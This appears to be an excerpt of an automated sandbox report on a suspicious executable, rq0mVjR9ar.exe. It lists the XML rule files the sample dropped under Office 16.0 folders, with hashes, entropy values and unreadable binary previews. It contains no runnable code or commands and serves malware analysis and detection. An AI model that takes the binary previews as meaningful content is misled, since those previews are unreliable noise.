Preview:	<?xml1..K..@N.7$ U....u....Q...J...Uj.4x.hP..PU................`....r.Fb/...\|.....}..&.'.b.."<4.=.E.....++....j....7.V.OP.stD3d..A#!.[5.D....tD.r#:...+...].w.O.j.2G.\|.....?.z...... 5..;..T9...n4m,7g..Mg.t>./.tQ.e......E..A5..u...j....\...).x..6.C.'g..QSp.B.Et~Y.D....}...m.W...rjL..$.d$....I..&r...%........k..].)H.6.k\..9.Ie..3d..BK..0..0`.B?k...D:P.'..f~3.Y..N._...E0.g.9jL..@...Y..=...a:........r..."..u.T....!..dq.+...F...pqa..?...gU....p.....H......pD.......p../vQo...k6..^...C.......gK...] ..v.ie5.<p...p.R.....0;&....].....~..7.Y.bx/..Vx......a...hhb..u......l3>FCN...7.K..bCe....[..jj..\|.....g..dM.m.(....o.%....j.1..`....9;.UQ%...99.......j.T.....5.I.....A....z..!....1...}%...H.{m....3_....r..&n.......K.._...FN...P...QBZ.[.tm.M...E.^.........;a1h<.....$...l......+...5.~.S.wB.,.x8G..r..MqJz......q..k"..;%..w.D...,H..%..t...,&..T.:.5U.^.u.pn.k?.*J..d.5.:-........ ..DE...N...D.A......6.u.u8.....W....I$d.4..........;.B]..bV.W.Am.../D..)l.<.w.".6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.899130809453466
Encrypted:	false
SSDEEP:	48:/1AhnruDNuSlFshvF4sIIDjOaHAKocaQ1iD:NKnXht4s0G7HFk
MD5:	6DB405F47B774A2525F5D37C03420C51
SHA1:	734B860A4FFA2C97925EF808D1E89D99C6E08BBE
SHA-256:	6EC6D327BE2993B85A95C94D93A8D4E6CA4237C48107F3C6F0CF1D930CD4C2FA
SHA-512:	57F93A73EBF4AD47476B5DCC66CBC3EA0E872787D42EF648FC6F97309A6A58970A3E244D283F6EE809B8ED8233CED2B69B43399F2D66C35A61BDC78E34257594
Malicious:	false
Preview:	<?xml.@......y.G..{...!.^.....!.i........$.o........j.........A..M<8......a..@a"zP.......=..PW.ek..uH..f..J..5......:....0..Tm0z...x.......L...WR....=.J[.{zj...=.g........e5.MEDA.Q. p3X.B....0(4.....N......o.k....g..%7..rZ.w.i.dHw.].a.\|..q..\...0....R..\...K..j.w.%5.B...2G6h.e...N..\|.kn%...!...&.T.....m..}....2..D..Y.Y..I.g\|.G.K..H.....u.-q.....=...?...K.e....,...d..G..,...>.]P...<..`../PdU....2n........fa.M....m....&...l.\.`..a\|.9ULe.Z..d. ..g.......L..b0.....Z.&@..b. n.....Y....q.w3.....!12...%..j.I.xN.....-.t....^.c.#ux...e..............]Y.Z..{.......).......]{b6....[e.#>....X-....?d.F.3.TJ..W.._,.X.}....9U.b..1bE......ZJ....RY...qHz..ER&.y...Gs..).....`QZ..&%5.m...FL=.miO.......Z.oFs/..O......f.X.Y.....k.F......n/a..._.>=V~.T.._....8.-z.&.w..... .+N..X........x.48..j....'.y.`...d}.w.)..Xr...sMg..]...\|)...o...W.,...+..]....."...Q...9...1.F.X..2.V;X.7..g.B:...<.y.$7eO...;n...e\|.'.COE.4Y/8h.........L#`.+.7a...p8&.4-...x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8910646026190925
Encrypted:	false
SSDEEP:	48:peSH31PxAOc2hHkYhMtzdRZDvofyZqyM3l2JA9zuTOrBiD:Am3LAOxEbtzXZDvPY2vTOrA
MD5:	82C44A4C082951C235B2E1F4EC18BC48
SHA1:	BB3A64DEE99D66671494E053048DB565452AB253
SHA-256:	38DD48A84E099F9EE9EA1FD6ECA005A968934CA3C14B2084740FE25432370DEA
SHA-512:	8940209D4D81736EF5C38BB55ACE898B77E2FF0687687E273B49AC29648412A98976915261DE99F80B064267D1D29F5700020DED2DF05AF9945074AA95D898AC
Malicious:	false
Preview:	<?xmln.Z.....w..<z..E&Y.R......3..M....j.y........n..V&..jw..zF.dj.U.UU..Y...Wd..'.0.U.A..}fXN...E.}...V..F.-.#d.\|]$....cQ..{.ul.....17u-...@........G..4dMZQC..M.......%....)...u....1.....My...^O...$...M(DU..Q..........)L_. .Zk.4Co...,j.e....m#...e".........C.........i..k!Xe...7gP...XB.".e....R.....3".m.....d...\|...a.r/Q..$..`.p.6@..9>.SkdX...).n./+CJ..2..Q....(.o.1....8....wt.5x...K.....l....V../.E......%...u,.N....{..p... PE..a..):.$.Jv0..&['...+.m.....vs.d..?.....%..0r..Xi7d..5.;.<..t..4j.6...?.ZQ=.(@^.B.^...X...g...., .....;..$T.s.....>..~......%..uK.....l.z..3... C.=...X.0..^.....shuY.......!\..+..).{.Rd..!......+,. ...[:_/(.t..T.%..;..~ETX..2(...h.hcD..e.!.cW...&..-...eca.LH.4z.[..m......Q.sW..ei...S......B).C1.z..."..W.M.V}...z.k.T^..QGW......Ho...S..p^.{...)......%..fd....l.F5......=F..o....\.1...;.....N.{..]..........C......n.mNr....G.....V.^....~.])...L..=lA&@NX).B....N.....9......>z.v. kX@.+.K..U*p3.........+'F.Uk8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.511908664465152
Encrypted:	false
SSDEEP:	3072:CgETso/tG92EYISdOPeYDYJVOzJaUPmdjJ4/77vKsRHFaFnUA/14yRU:KA3VwOWYDYVOc5eT7xYFUA/143
MD5:	FE319A76C2454BA458238EF9E9DA2EF0
SHA1:	BB26540A6A0FCCB4E1577B4BAE717D21DDB28FA2
SHA-256:	A93EA3033C03103FE098F61BFED9DBFDA2C8B6C68140868B080DEE5EB15E50A1
SHA-512:	93B82DD793F6D54A78C00D0C2BA4D2AC8A9DEE9DF791A6D7E76308EDCF4A1D05B9C357AB8DF09D61665973922BD25AF424EF3F4A90475A68B35CF870153AF52F
Malicious:	false
Preview:	<Rule ..kY........R.-.Y.p.Sh......!Y.....n<.j2cV..B.J.. ..2R....`T#.....H2.T/.t0W<n.....p.o76..6........L...~....?_....P.@.lF..T...).t.K&vz}\...Zg...A_J.s,.R....._8.Z+o.`...L..+....7..y.]..).a'm.'o....EE.n......u.........S.]u....B......Yt4e.e..cj;.l<.......'.-Y.........qL...\|{a.V.....;PE.o..i.au.?..4..k......X...p..Q.;...r...g..V..g.W.]....c....0....#.v..B.......n.o..;...}.....K..&N...5.&.AdD.i?D='.S..Dy....u.E.>.@!~.s.=.J).t.eb.8....Q%+m......!OS.....5XI.%s#.%.M.....n.....:..X=E..Z..E.k.N#G.h...8].6e..a....>Y.B<....!.F..a..A..4-.xP...N...f.8.zQ..[d.i.....&)...a..0....u...{4.@.....n?......x.T..k.../Lmo(..zh...xl.u....jES..e-I...c:.....Cs.f.F...0...$.t.......C....}...%Rr.....b.Y&.o.{^..XF .....I..l.h. .......u....?.P_....h.\....Ep.c...,.Nk7.3.ut.[..(.O..V.^o..0.7+U.v....D7.Q.(...n......M...jX-..h....\.R.>;i.<'tMf..Yg...x...%....6s...N+....`..kV.7.{.....1.qUcjh.^.J./p.T3..\|...lr...'.>'....tBZ....#<.ayt...+6./.....q..2..KeY

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.871535156714662
Encrypted:	false
SSDEEP:	48:KZtv32UUsdimrea/fFXxRVZ34T9MbROZXgMgPtQEPoiD:KZtLUpoe0rk0lPuEv
MD5:	DA999AD7F7AE349B7E7F3199CDAA7B28
SHA1:	6574FE6031A01B7499C2E70EA7ED8A8619AED241
SHA-256:	F3C63F43BF0F354E078C142B12BEDA7C3437654032FDF6581FDE8FD02D12ADCB
SHA-512:	A56A5BF2C5522BD4FC1458C6F113E16D0489B0E30EB5FE3539B5CE73F5688A0FCAA26ECD3A68A52906FF757D10A1817CB054EEA96AC5CAD55298E099FD759CE5
Malicious:	false
Preview:	<?xml.1..".,8..t.,.,.R0......z....#H..'..k.5..}..g...q4..w3.H.l....@.........x...]c....x.X}.K.........4.Xs.........."....=.O.x.\..~..s..$...D.T..!.$P.R...g...X.mQK.I....=8h?..).e)...X![..Le#.-.y.......2G. E%3:Jf.6........s.O.jP..&....8.W..T.C..'...C..wfyK...Bpn^,.\|t{...Y.e..1.T...4.v.X.J.,U`[.KYD.P...2..iB.jt.3..3..-$t?..h.z.Z..D..........>....1/..k..x9].y..WJ..o..k....g...$..;{C0.p..".."..p).....k...=..]...A....b.]..cr...D.h.'.=..}.......`.lV8A!9.;u...........>..d..&.....o.EFwD.{....H.rl}]...`N...9...7....J.f.OE:.....&..l..."...2jL.% ....G..[....`.{..l,.......$.c..GC.)..i\$..A.XZ.w..`.. 0M.\|...u4....Ni.Zw5;Q.......C..p...2B...N.nrJ. ..a.NL<..y.:0.Y..XW...g#.V.b.kY......^.c#....3v.b.Q0....Mf....$..N.k....ZW..IM..1v.......:$...u...&.o.nW...t..v.....+s+P0D...)vbx\%V......Y..<$1.h.#.q.4.a...^.........V7c.XZ=u...u(.%...f..7E.2D.mj../....Zs8.....Y......z.3C......[...0C..<q......2RZT....gB.[m...X........B...C'F......}:.~..S.O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.877028459004241
Encrypted:	false
SSDEEP:	48:n2tzXEs6sdx0XGNe/7DP9n395yQ0em5hdX9YAziD:azXEY30Qg7DP93/y/J5C5
MD5:	C51310E6B3A798D5965542B81EDD10CA
SHA1:	0001094CCA4F1F3D10F2AFEBD6B5E7B22F591D07
SHA-256:	24695047C2D724F9522694B8238CD744B3DABEC05E950A67E5AF9AC802700E72
SHA-512:	516AFA1B3C33E42E9DB715944B1E1A84A9226F86B0897F6E82B4B520FA6B7E8F901682479DD53F469B6A997AC2B744B92E93B1D5FCF18B2DAA44D04620D10188
Malicious:	false
Preview:	<?xml'.R.~..2.../.m.4.:v.8..=$.x..K.Q..nma..l...Q.(....P..>..I..z.b..IV....M.H....>..W....\|..fQHb..C..GD..P`..04.L..B...W.....q._Rf}E...<..<TPM....G..i....D.A.oU.R...r<.{..r.3l......s.U..O..G.4.=..fQH.R....A..w.M.Y6`......"...C.....5...b..w..5a).:.....wRRp.M._...^.u..OG.K......7..1........z.R....R...e.....R<u.....P%..y:..p#T..#.h,.A...Ty..9. R3.UU...&.......\|`Um.,.6...a...}...L.Ax#,.......$o.(.il...i....C.Z.....).UQ......p./.s.....T..r....4..'.l...O..3@`..uE.L.OM.....F.....l.........[.1.M.*{.0.....p....[..8..i...8..j.....F...X...,T..T.8.L.L..L....( .!7:.$#..\.9...#.<.........M.....?..........gn..o.u.......e...<V.^4r<....j.S.xb.,.N.J.>j`......i!f.U.....i...]4.../...~..%..."\|..#..G....G..y#-R..k..V..BQLW..\Vq......H.lDZ(1..p_.v..eO.X..7..L3R&......q`..&...k#e..s...[+E..y.......,.V..qm..X...,.........9......?...V.....A.ypd.X...%.e.p:N#G....s.G\|x.K,.x.....Q.5..}....AJ8ywb.l........s..G.#.;....g....j..".9.9c.Ilx....H.X...."....K{l6...M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.887726940687409
Encrypted:	false
SSDEEP:	24:HO7Q/qGmRNzhQrub4X5tn3Ybg/N5zsG0eZxQVwmMwVyBL6vZgG2S0KQfgUkn+Riq:HO7dFBK6eN3YbON5JZS6ewSJWwiD
MD5:	053877ABB6FAF2B839D25E30B9AECAE0
SHA1:	6443B60CDE398A3A8EFF4CDB745E0AE0E6D583E8
SHA-256:	625F62DA8DABB60F97ED2CB5DBF9255ED8D1B72DF5DB234E0652C45636CA5F4C
SHA-512:	F25E76892C8F025BC74559F8D29A2F572786C899BF19E2ABBA48F48B09400CBD04F24995B94CEF4ABD08E438807678BC5DCB17017AD28C94F369BD9D2476357D
Malicious:	false
Preview:	<?xml.h...%.......iT.....<.D......j..C".5..(.....mo......x.p.z^CF6.N..:...(........f..I....R.....cf.g6 .....?...[WBnJ\|.].H......u..x1..].%..%.sb.\..?[..X.........1."...".......Za.~./......h.2!B..C7..F..m...1v...0.......Q.3:%..=.O....)j......an..q...N..\|......7$..n...p../S...j...\.......H...-..#0.3..i.k.--Uy.3 .z.....T.B.c$.G.......R...i..1..U.8.....m..........7.t..'...f.s.~....r...\|..`.`...G.vJ.L.iI/z.7... .......).p...'..m...B.z...O..:..#S..8.U.-..K...`/;......Ag=}^./{..k.1....8...7..g\|+......./6-....g..moV.bR..j/.:bH.4....B/B..5...3....u>X....~..3.9.....K,HEQ..X.P...Q..k^..\^....g....9b..DK..i!...KX'....F....-+...!D..#..U....}....n@..b..u.l..<....t?....\|z.\|.{U..a.)U../.a...Bl........]..)...I.VJ).u.+.\...s..r.t..E....^1hZ.X...{{@.T1O..I'..ON.k...h9 .........4d0.".)...\@....>>`..D...Q-...D../..U'......`..._ W.q.}..b...Q.5j0.h..7..fn..v..J-...%C...z>..^.n....O#.H...+G?y._[ ....d.Q...i.e..@..?..(...J......6.E...%....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.8940172179552714
Encrypted:	false
SSDEEP:	48:o49t9Yb57PwQmNQLQ1uoJxe6CEcQiwQ0TriD:oaOwQmNQ8ZetKiw8
MD5:	12B7F58ED28D3F083E6F81F0BA7D55DF
SHA1:	E50839E93687D61CDC4C9A96682CD02503363834
SHA-256:	74549AF1F08B663C3E1301DE34333634665BFE8B1C84D0F16E1ECC204486E457
SHA-512:	EDE58C9DCB20FACB4F28B06672525A4ECF6A788E1B507CC1423DE0229493EA7E580523D0A41BB9E2047C63D1AB0AD0D802BE15513C562BA88A4E8FEC79B09E16
Malicious:	false
Preview:	<?xml.+f.....t..d...d...lp.....C..@.L....L.p.h.!.s....6.....#?.NH..nU.\58X.j5!....~.W.....pkYP.F.%....W.?w.b....[e.#Y"y.........l......K..GI.t.....(.eA\|yp....\[...,......=p.....z........y!.Q.qk\|....S.Kr_}.)\4%.#..7....e...Cw@w.=.m.yK..P..Dm..J.F..]7Y.....u.U........_%.=!~..P.....h/....]l......L.?..j.fi`..!.l../.<`.7.-.@......`G-qS/.@.J4Lf!.E....z$.n..#...^....z.0.t.1.2k l..P.y..{[R.=TL^. . ugFo..6@..C...!....&t.......V)..G..Gc...I..6jO{6..]..t.x~j.;B*....Q!.....[..t..&....BQ.D&Ed.w(:......q...MT.....q.".A..w%.A{...}.._3>........f..mxg..h...(<D......iMY.nq....x...a...H...]S....3..c..fP...].G....c..Is.'.m...O!..=......\.?.......~.x.....y~?.L'.S..)1.&.}W...l...3..k..GJD..!..g1.&...^...e&..\....C.pq....3}.Hir...yd..g&]3..P..7...c...i.........]}Y}...1VQ.......B....8......4t..{.<!.v#..W...o.....A..)K=.}.H_m.(..soT[!....F\|Wi...?.p_&s..UJ....)........ [T.>.<.>.P.2.9.....CiM....D..@.$n.@.R.O.M....0c..2.fc..0xS.GLa.C...U...f.Oq....,..[.Gz..^...7.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.884559120218109
Encrypted:	false
SSDEEP:	48:c0xqmFPz3o5e9v8cuk8wBwlFAOyMTuzHTOWiD:cAVP85Ekyw7AOGzHS
MD5:	C222C62CBFCB0932C7DD5D7DF9146BA7
SHA1:	CB3C0834C80FBE5D79901514D8ABB2A27EE61EBD
SHA-256:	806C5D5E10FCCFF59C2484CEF856A245A6C0043111F558C1C4E96687D6C6E387
SHA-512:	791C436CB0E54E08748AA5FC61F2C7CAF02D337C165079D120ED898B06304B400239C746BEC3AE6DF002BE52571F154BF90E9890D65E3A9CE7E8B7A6CBB6CB0C
Malicious:	false
Preview:	<?xml...z.Q....<.I...@.U.mX..}.u{.5y.`./..q...{.(K........]%%.p....../Z0vM...hb..........tcW.r.M.Q....ms...P..T.......b.mY.6v>.;G)o.......AI..........).d.%.a..s.......!.3_-'j....Y...../.q.G..ddJ.m..%7]D.......P..CjMv.].p...B.G.0j.%...o ..N...k....l.E.E.l.../3pCj;..w.I.+P..0..qx#..c......U.0..<+jX.<!J.U....M}\...F/:U.9.....20.(..a..I.Y.".....:....C..9~.....y(\.R..#.mn..[.t. ..nF.\U........o..............Z.n.-...km)...b...Z..q.($.rV...4...........i.Yi.qn1.L.hB..-.$.....f......Tjm.iR.g0D...3..<;Q.0Us_..AK...x....`..@.a/......Ex.I..Biv.M.O^+D.5=S......9S..K.T.?..Y....B..mW.6.....>.B....zv]..k...5..1....unK...9(~.U.....w.%...WJ.Es.Vse ........N........rV.. .#.h'2..P\|..=pI.}.)-8......u....U..YO.d..y.T.zV...K.P.v..s..)N&$.n..h }.i..O...m.D..S..`...@..R.6r(.....)r}.W9\.f.L..s..yX......K.,....2..owU.Lwg?=-H............*.z......%...k...l).J....3f..c..j$....D.....A.4..^.0.xR?.Y..~.9..].M...>.M..H.L....(..S..(..OI..6y%.. ...,.pE ...-X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.890287367191488
Encrypted:	false
SSDEEP:	48:cIb2gYv7kfoKPkksNtRrMc9BI1KhkLD/zZcF3iD:p2v8oKO4PKhy3M6
MD5:	9B9D292AF875C97B74C413C911CEC245
SHA1:	5BB88574B25F3AE2E68DDE9993E76261D9CD8CF0
SHA-256:	4F07D072900EA723724D6A94668446C743C73BF8BD19B68B59A276C0D3688896
SHA-512:	2096FB0C3DA766542AD457D84ABDF7EBBF91433FC014C2DCF38C7A0DF3E656DF2D17649F3082061E98216FC09FBCA4BDF2DBE88307B69851BFD48BB6AC5C679B
Malicious:	false
Preview:	<?xml~\|.PY....`3.k.Z%.F....,..?..w<!...@C...n,.vpB.....c...V..8.$./...<~...}j..\u%=....P&k....w....l.3........K...D..h.>...+4.h^.d.z.&..w....d...%....u.".D.S...9.......J..a.K..-...o....isM..,..5.$..uD>V.Q:{.0@'DI....8M.fdR.v.?.._O....{..H.[3.k...5.$..y.......>K6-?..^....1.#..C...=G...1.....vB...#}.{..M...W.i..\....;4...u.]....K]..,b5..G...............B...k.J[k......T....b.........IS7T.KwX.I;.G.z.5l.q...4...\4.._....#R.....8P.e.......;=1UtQ\|$}...5..1...K..k7......^_..0....01c...Ba..6@..$.UCt...C..8.V.m../F..c @F..P{Wp..4./.2....ebe.vu..x.:.^&+.PE...l....@...A..>.!...i\..Y.[.S....A...BT.3.q.\<.8....2.....t...u.<..<.p}+T...w3......G>..\<&....z.h.Y.x..&_....}.........Q.J.V....E.Bz..."=wVd........;.m..<..~..;..:..oo:P.pq.PH5z.W....Pp..b...!..;.pU...]..+..U..G%g..d".yN. ..-\..8Y.%./...c.P.H........,`.z.R..o.~..p......9Bj...1. B..>.=H..W-.....h....nP......).2..._Z....I....o;..w{.............j..e...8.P..37xo....MK..o.....iU&..x.r...4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.893240557443044
Encrypted:	false
SSDEEP:	48:XkuMLEijvKrUgtQIw4wg2DeDk0ifgqsd33TH2iD:XkueEGYQ/g2DeDDiIqyJ
MD5:	E7D039DDADAF15DE179DE2E627D11F7D
SHA1:	6F9C381FD3689C7017971A578F0351B1C642AB1A
SHA-256:	939778B073BB0F30DE70EBEE5E5ED7220BF914433CB5EB3AF22D65B9A1E38DB1
SHA-512:	4ED4A8B575D270A09AD0A4E607FF2CDECC92F7DF86D72336CD4280E8F601A903C7939CB061CE88A21B3FCA0D91D9347C54E8908F3E0382DCC425571506A5B047
Malicious:	false
Preview:	<?xml..I..4.1.U.7hyA...R.dN.........G...I.F=...b..e.. .v1.......cm.C+t..2...dso..A(w_. ...>+:......az.ZZ...@,....>...T...4c...>H.;...Y ....D..C?-.q...k........V40...\}li..+.4.......S....A9....+9...._.....k._bH...%...'........^:.a.$...&.]:..i..Z...".D/5TCL~..b..p.b....%.A...3..Y.&d..V..o.V).a..!....z.R..A..A..W.....E.:Y........>BX...lz....;.- ..l(dg-j.,..).....}..[+....+z4..9&.yz.D..j.8.Y..M...&OL.q$.n .Iy.!.....^\Xi8{).?.e...U`.5.G.......J..e.}..rG..d.y.(.@..".v..S[5NS.=.........K....a(~.[..H...Vl.....X.U..."E..po.....+.V......>.2G`J.g....m..H..y..)K.....0Y..h....At4.8t..\|.........d...h.../V..a..fs.3.......C....D.8.AZ....".p.._4P....h.y.....r......_...^vY.R...;.y..K...a].OV-2.}%....+... .^{....a.w.....Rq..7.......}.... .....)..q..~..=..D;C.<.~.'l.+....J.c...Wo...!...VB.2.y.....>.,5~..B.t...e....{.....K.I_.....D...X.QA......~<.p1#WQ.>.7;....IO..?.N5.2.I..SH...t.-0...3j=..MQ.....8.h..YD8.0\...?.6.H.....YX0.;r.......%.w..gd.l......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.884114708266734
Encrypted:	false
SSDEEP:	48:soQgFwp9lUnG4DXrDTbedJBou8YASP+FYU0iD:gg3nG8mLBoDFxF/
MD5:	0BC806C2856851F1EB00259B15B66F22
SHA1:	4C63EFF54EF4EF026C772B2775A4F80E7DD51F61
SHA-256:	86ED478EDC195CCC1D8B9E3804CC7ACC2BF88E2CD169F2A480087FD2E1DC5CA3
SHA-512:	0CD2200F96676465D17BA9173FD931D9A9DA3E4A70A89FB6E29D5C22B7CC4CDBB5A6E0BC8F1BF0209DC6C55124C762B40D893CB5F9C54457D1599137C4130E20
Malicious:	false
Preview:	<?xml...y=.I..Y...)#...F..._%a..%..V~'.FR...M.7.\|W....Rz...c!.......u:.\.R%_.6....~...u"o.%Z.........:]&...ALH..\|(y..z8.\..'A;G{PrS.g.]]N...b0..A.;3Y..Y!<..}:..,..M....'..w..Dx.....@R......@U#...x\.n\C.....O...a/....#...t.Q...!o.$`...CH....!3..GL.S....X..E:..pn...]..3.,..F.V...b.2.i>....3SU.].............G..E....u....r....v........68..(.H..\|..R..v....Hf..@...-.gwmvw....~....( .R.6a..s.).6.w..7vH`.......(.V.-.>Iyt!.........[.{f.j.g.^@].Z..r....I..k.q.UZ...w.S.J.r..........M"QI..=H....a......Jr.{sW;....../%xz..i.\|.cn.z....\.?z..lx..]...j.n.wc.........NX^.p.l.v.h...\|/..y,y....2a.].<..a.q.K.1.........>...(J.#.G.......Y...X%.."..:...A]R...A.?x.S..5..Oi....L<........f2.....;..ma....'.\|..,.TP....Q..T.>.k.....J?...T.s.8.J...z...BjP...-u.z'.5.yo..,.[..Ww...>0...a..3....u.b2o...Zv..L%.....h$..5.H"e.2.MU.t..A.>.\|!...5...S..i,......_.q..k;!..\.....?.j4X0/..D....x[.@.A........u<.1.:bO......[.M...x.s..H.aN..8n..c.,..G1G..8.d..K"...h..rx>J....c..y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.879861346845456
Encrypted:	false
SSDEEP:	48:tYsoLnLivGvUlY7dQfGZpr53c02GlLYP4CGQiD:tQnLa1SyGPr53LLYNGv
MD5:	3A5CA651FCA7E2B5A5B5E1A091782B14
SHA1:	3879374682C949EB306B80804F655FEECCCDE969
SHA-256:	83A7F4E429F8717FB2AD37C4A4209FEFB3CF3E7F54CF7FAC17D04F0B4C0C8F9D
SHA-512:	2EA3FAA0DFB38142B1B12E7418EED1EF15BC659F7FD6969C1B54A50DD679B673AD85E2EBFADD11F7E91E0E859515C37174C3293336543EB7BD35D1E21594897E
Malicious:	false
Preview:	<?xml..u..+o.{..R$.u3-..2=.(._&..zvu..!?S.....Z..5:.3sQ.GBg....D\|.....SSa:...E.ua./]D.n#5.K......L../U[.....l..T."..#..\|..m..[....X.rw....!$..g.&.....E.n...VB...."..Z[.XB...\....V...`h.dSgr.q.0.3.C{..P......l..}p.b..r.H@..{.PZ....%.. #t.....z../......zH...u-.#...Vc.=fz.v.p.q.....P..l..n..z..?-..T............_[.Kh.+.v.YZ..x...J....>..[!..I....K..w..`.......K:...JrK7B.rO..{....Vq..=^...L...g!.!..Y..[...x.4.......<...Y`.....d......T..A........O._f.N..[..+Xh.-..X.&..F...V...l.4.@....."...@..ok...'.Bizv......Q..U..#.....R.....-..l+.bBK..P..GI....!.......@..w...L.ZF..;M...A.f.L.a..D..8BI..E.~Vj...9..._.6.@.D\......]....4..41..h........t........7>#7@X....j...}.}.x.... ....T`:O\V.v....O.h/N}..@;.......q...f..&5.s.Sv...uX....c<..jW.N. "]..A;.{7.u..E..f..b..2.......P.QL.....~.x(......MY..A..]iZ.zga......NGX...!..'B..N:B9...N..p.(...<...##.$..Ph..d..=Sl..\m-%L.!.hI..~..-..\~.t..&R..R.......!/.#....YZ.7t?.0....b...O..Q.s.+..q..b...R....$..y..5In8W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.890146167310907
Encrypted:	false
SSDEEP:	48:aV8VGk1vr3MSun17cTMuW+kuzaPFBYq890KiD:hhvr3M/7aMuzJuPFBYh9i
MD5:	D6074B7378D5F49F7E63AC9B82A2FE42
SHA1:	B389FE7BD503AD9D3F2115A52C12026EABE25189
SHA-256:	BFB9EA1DD1DC04024E82D1DEEBAA59A2A6F65CA2743782E8AD54ABDE5386EB1F
SHA-512:	B014CB545B7196FEBFD47052FD946FDA2F4E7942E36EDB68A73250AFB73611CB82A35764A9DD4D71882993DC271713FED910AFF0B510996153F169F86071913C
Malicious:	false
Preview:	<?xml......HK.I.`....j_...l...b'w.@>..\...E..+...0....1.R.bo.....$..s...e.=w.WH.... .4....S3.q.c@\`^.4../..'<....[..iM.....[....;...l....].....>...p!h.&Mo...J.......&..[..H2S.S;...U....RHK.v..@.....]....31 .`.t.....e....`....{..{T......Z.9].5.....o.......O..FjY....I...;....).{u.m.o..1.H..:.....U..?..aM.[.^....Qe..N(8.f.?=.&.......R.jwh)b.Cte.....x8}.......wU.K..\..0.,d..].9P.Q3..M.\l...%....{].f.......(....JCP.....c?/...fQ].s.kkf%...p...?..Em..8.T.B.4...<..}WJ...x..Ab..Q..m#..Zk..Rq7..v6.......?.\J..ey.:.8....5}.6h..z.j.LH:S.r....ne..I..@@+lZc..;&'....f(.+C..A%'.N4.d.... .B}......A&}..v>Yh...3..{9......7z.u..c.....a.).e...6..zJ.B.0..{...hr..z.....`)E..{.$.}AeW..B...........:0.......q.f....P...C."y......Xt\|W..6H...nWV.Eyw.n.u.v....6{.g?..a.6...q..HL@.r....p.o.ja...j......uG....e...........hV.i...e!..s..i...;.De.c.$....y..f...[l..wb....J.......3...YG[...C...e...C}/a)V.l4.O?...7.U. .gP.vv...\|..n.].<K95....hHz.!q......!.o...S...4_....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.875829230230897
Encrypted:	false
SSDEEP:	48:oKTKb7cYY98RlKnge/4tu/5RfztzodkiD:oKTKb7cvKR4nE4/5Rdodj
MD5:	B913D32BC16042AA2A3FBC03BE54BFDC
SHA1:	4A5D5FE50B4DD83F1BA166E5D7A75E4C2984B249
SHA-256:	AD377F53AB53F12232326F22CE050557FEF7DB1410E70F99604D5E7E57F36F12
SHA-512:	23550EE8BC5B00B75F93A300727CDAB817BAA5202E017236896A25AF7984ECC7512BDE4AB4A087E5438E3B318936EB30C52C4ED5F21F0DD6CF2C4E0100A7EEB7
Malicious:	false
